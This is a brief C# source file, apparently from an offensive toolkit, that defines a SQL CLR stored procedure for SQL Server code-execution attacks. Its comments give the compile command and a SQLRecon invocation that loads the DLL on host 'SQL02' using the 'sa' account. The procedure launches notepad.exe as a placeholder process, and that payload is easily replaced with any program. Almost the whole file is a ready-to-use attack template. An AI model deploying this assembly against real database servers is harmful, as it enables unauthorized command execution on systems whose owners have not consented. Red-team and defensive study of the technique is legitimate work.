Custom assembly that is compatible with SQL CLR attacks.

sql.cs

//C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\sql.cs
//SQLRecon.exe /auth:local /host:SQL02 /username:sa /password:Password123 /module:clr /dll:c:\temp\sql.dll /function:CustomFunctionName

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;

public partial class StoredProcedures
{       
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void CustomFunctionName ()
    {
        Process proc = new Process();
        proc.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
        proc.Start();
    }
}